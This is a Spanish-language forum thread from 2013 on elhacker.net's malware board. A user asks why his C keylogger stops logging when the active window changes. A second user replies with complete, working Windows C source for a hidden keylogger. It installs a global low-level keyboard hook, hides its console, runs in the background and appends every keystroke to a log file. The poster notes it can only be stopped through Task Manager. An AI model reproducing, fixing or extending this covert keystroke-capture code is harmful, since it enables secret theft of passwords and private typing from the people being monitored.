elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  Keylogger en C
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Keylogger en C  (Leído 4,590 veces)
ars1993

Desconectado Desconectado

Mensajes: 60


640k deberian ser suficientes para todo el mundo..


Ver Perfil
Keylogger en C
« en: 30 Mayo 2013, 19:16 pm »

Buenas a todos!

Estoy haciendo un keylogger en C que como buen keylogger :P va guardando las puslaciones del usuario en un fichero almacenado en Disco. Cuando pulsas la tecla ESC el programa termina. Ahora bien, tengo dos problemas:

1.- Algunas teclas "especiales" como los ?&$... o los F1...F12 los almacena con un símbolo que no toca. Supongo que tendre que incluir algo de ASCII en mi keylogger para que esas teclas "especiales" las guarde bien. Alguien me puede orientar un poco con esto?

2.- Éste es el principal problema que tengo: Cuando ejecuto el keylogger, si justo después empiezo a apretar teclas, luego cuando apreto ESC voy al fichero y está todo ahí. Hasta aquí perfecto. El problema es que si después de ejecutar el programa (y sin apretar ESC) abro nuevas ventanas, canvio de ventana activa.... luego apreto ESC y si voy a mirar al fichero sólo encuentro keyloggeado hasta el momento que he empezado a canviar de ventana o abrir una nueva ventana...
Será que cuando mi keylogger pasa a "segundo plano" deja de ejecutarse? Me podeis orientar un poco también en como solucionarlo? algun trozito de codigo C para ayudar...

Gracias!  ;D
En línea

640k deberian ser suficientes para todo el mundo..
ars1993

Desconectado Desconectado

Mensajes: 60


640k deberian ser suficientes para todo el mundo..


Ver Perfil
Re: Keylogger en C
« Respuesta #1 en: 2 Junio 2013, 14:36 pm »

Nadie??? Venga una ayuditaa.... básicamente con eso de que mi keylogger solo guarda al archivo cuando no cambio de ventana activa.

Gracias
En línea

640k deberian ser suficientes para todo el mundo..
xiruko


Desconectado Desconectado

Mensajes: 438


Ver Perfil
Re: Keylogger en C
« Respuesta #2 en: 2 Junio 2013, 14:53 pm »

Hola, te dejo aquí un código de un keylogger que hice hace bastante tiempo. Coge todas las letras y las guarda en el archivo de texto de esta manera: [letra]. El programa corre en segundo plano oculto, así que cuando quieras acabarlo abre el administrador de tareas y cierra su proceso.

Código
  1. #include <windows.h>
  2. #include <winuser.h>
  3. #include <stdio.h>
  4. #include <string.h>
  5.  
  6. // global hook handle is needed to use a low-level keyboard hook
  7. HHOOK hProc;
  8.  
  9. __declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam);
  10. DWORD __stdcall Keylogger (LPVOID path);
  11. void MessageLoop (void);
  12.  
  13. int __stdcall WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
  14.  
  15. FreeConsole ();
  16. nShowCmd = SW_HIDE;
  17. LPTSTR execName = GetCommandLine ();
  18. HANDLE hThread = CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) Keylogger, (LPVOID) execName, 0, NULL);
  19.  
  20. if (hThread) return WaitForSingleObject (hThread, INFINITE);
  21.  
  22. return 1;
  23. }
  24.  
  25. __declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam) {
  26.  
  27. if (nCode == HC_ACTION && (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN)) {
  28.  
  29. // info about the key like the virtual-key code, scan code, some flags, time of the message and extra info
  30. KBDLLHOOKSTRUCT keyInfo = *((KBDLLHOOKSTRUCT*) lParam);
  31.  
  32. // prepare the first parameter for the function GetKeyNameText() picking only the important information
  33. DWORD keyMessage = 1;
  34. keyMessage |= keyInfo.scanCode << 16;
  35. keyMessage |= (keyInfo.flags & 1) << 24;
  36.  
  37. // load the key name in a buffer
  38. char keyName[0x100];
  39. memset (keyName, 0, 0x100);
  40. keyName[0] = '[';
  41. int i = GetKeyNameText (keyMessage, keyName+1, 0xFE);
  42. keyName[i+1] = ']';
  43.  
  44. // write the buffer in file
  45. FILE *f = fopen ("log.txt", "a+");
  46. fputs (keyName, f);
  47. fclose (f);
  48. }
  49.  
  50. return CallNextHookEx (NULL, nCode, wParam, lParam);
  51. }
  52.  
  53. DWORD __stdcall Keylogger (LPVOID path) {
  54.  
  55. // try to get a module handle for our executable using GetModuleHandle(). if fails, we try to load our executable as a library.
  56. HINSTANCE hExec = GetModuleHandle (NULL);
  57. if (!hExec) hExec = LoadLibrary ((LPCTSTR) path);
  58.  
  59. // two methods failed so return error
  60. if (!hExec) return 1;
  61.  
  62. // install the hook
  63. hProc = SetWindowsHookEx (WH_KEYBOARD_LL, (HOOKPROC) KeyEvent, hExec, 0);
  64.  
  65. // message loop to manage all the incoming messages
  66. MessageLoop ();
  67. UnhookWindowsHookEx (hProc);
  68. return 0;
  69. }
  70.  
  71. void MessageLoop (void) {
  72.  
  73. MSG message;
  74.  
  75. while (GetMessage (&message, NULL, 0, 0)) {
  76.  
  77. TranslateMessage (&message);
  78. DispatchMessage (&message);
  79. }
  80. }
  81.  

Espero que te sirva, saludos!
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
usb keylogger, o keylogger desde modo seguro.
Seguridad
minerif 0 3,184 Último mensaje 24 Marzo 2013, 23:20 pm
por minerif
Keylogger
Hacking
luisaranda 1 2,747 Último mensaje 10 Enero 2021, 20:47 pm
por Machacador
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines